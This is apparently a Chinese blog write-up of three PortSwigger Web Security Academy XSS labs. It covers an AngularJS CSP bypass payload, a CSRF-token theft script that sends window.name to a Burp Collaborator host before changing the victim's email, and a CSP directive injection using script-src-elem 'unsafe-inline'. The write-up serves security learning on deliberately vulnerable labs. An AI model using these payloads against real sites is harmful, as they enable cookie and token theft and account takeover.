30连环靶场XSS跨站脚本攻击—专家篇2

文章详细描述了三个靶场挑战,涉及XSS跨站脚本攻击,特别是如何在CSP限制下构造payload进行攻击。在四号靶场中,通过AngularJS的ng-focus事件和orderBy语法构造payload绕过CSP。五号靶场增加了CSRF和CSP的双重防护,利用BurpCollaborator获取CSRFtoken并构造跳转链接。六号靶场中,通过注入`script-src-elemunsafe-inline`来绕过CSP限制,实现alert弹窗,但需进一步操作解决靶场问题。

30连环靶场XSS跨站脚本攻击—专家篇

四号靶场

image-20230628195225211

题目给出需要绕过CSP,还是angular js 的问题,alert出document.cookie

进入靶场

image-20230628195356718

还是有所回显,但源代码中没有找到任何JS脚本代码和额外复现数据的标签,

尝试给了input 标签,居然没有禁用,但是写了focus事件,并没有什么卵用

image-20230628195518586

image-20230628195618288

应该是CSP的问题,直接报错了~

查询一下angular js CSP逃逸的payload

image-20230628201356222

构造payload:

 https://.../?search=<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>#x

payload解析如下:

传入一个input 标签,并且绑定一个ng-focus事件, e v e n t 为事件对象, event为事件对象, event为事件对象,event.composedPath()是事件的DOM树,为一个数组,后面order by 将数组排序,排序规则为后面,利用这个来执行后面的alert ,alert的调用也是(z=alert)(document.cookie),这种应该是语法吧,第一个函数名,第二个参数,最后的#x来触发这个input框。

大体理解这样,angular js 是真的不熟~~~

进入exploit server ,构造payload

<script>
location.href='https://0a75003f03c3d3498015a92b003c0035.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>

image-20230628201635186

五号靶场

image-20230628202101125

好家伙!!!! CSP + CSRF + XSS ,切进去看看吧

题目要求修改受害者邮箱,已经提示有CSP 和 CSRF

image-20230629190443535

还是得在这里注入,payload完全没有头绪

题目已经给了账号密码,先登录再说吧。要拿到csrf ,题目也提示要用Burp Collaborator

攻略过后的payload:

<script>
if(window.name) {
	new Image().src='//Collaborator地址?'+encodeURIComponent(window.name);
	} else {
		location = '靶场地址?email=%22%3E%3Ca%20href=%22响应地址/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
}
</script>

按照这个板子创建payload

<script>
if(window.name) {
	new Image().src='//5msx9dr3ukb9p8jnsvbgddf1qswvkk.oastify.com?'+encodeURIComponent(window.name);
	} else {
		location = 'https://0af8006d0381df5b828d88ec00f80093.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://exploit-0ab000020305df2882c6879d0188007d.exploit-server.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
}
</script>

image-20230629202304849

然后BS中就会看到收到的信息:

image-20230629202334504

有一串加密信息 , 应该就是 token , 解码一下:

image-20230629202421237

token:iWgXNsxzCyZ40VYFQxyo2gI5K9WJooNK

然后再利用这个token,用BS抓包,修改邮箱即可

image-20230629202638098

靠。。。 一直提示:非法错误

研究发现,还需要把请求发到 BS CSRF 工具里面去

image-20230629203131735

然后再将这个csrf 通过 靶场虚拟服务器注入给受害者,受害者互动后,完成攻击

image-20230629203526489

payload写不出来,只能读懂了:

通过判断window.name 是否存在,来构建一个跳转至BS 中 Collaborator的请求,页面出现clickme ,来让受害者点击,受害者点击后,得到csrf token的数据。

获取到csrf的token后,拿着token 再利用csrf工具来生成自动提交的payload,通过虚拟服务器再提交至页面,让受害者进行二次点击,来完成攻击。从而伪装token ,达到修改目标邮箱的目的

六号靶场

image-20230630004320671

还是CSP绕过问题,进入靶场

image-20230630004457630

源码中除了显示其余没有任何脚本,尝试注入标签:

image-20230630004555193

注入图片img后,发现报错,CSP阻止 alert脚本触发

image-20230630004654800

直接输入 爆出同样错误,那么alert是可以注入的,需要绕过csp即可

构造payload:

https://0a6c003903ccf3238186f7cf002900f5.web-security-academy.net/?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'

script-src-elem 'unsafe-inline' 是一个安全策略指令,通常用于 Web 应用程序中的 Content Security Policy (CSP)(内容安全策略)。CSP 是一种安全机制,用于限制浏览器加载和执行特定类型的资源,以减少可能的攻击面和风险。

script-src-elem 是 CSP 中的一个指令,用于控制页面中 <script> 元素加载的脚本资源。'unsafe-inline' 是一个选项,允许页面内联脚本(即在 HTML 内直接包含脚本代码)的执行。这是一种不安全的做法,因为它可能容易受到跨站脚本攻击(XSS)等安全威胁。

image-20230630005148384

成功弹框,但是靶场显示还是未解决,切换到chrome 再试试

image-20230630005235265

image-20230630005602740

回看BS,可以看到成功将unsafe-inline 注入到页面响应中

找寻新世界还为时不晚,因为我的梦想是杨帆到日落之后的地方…

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值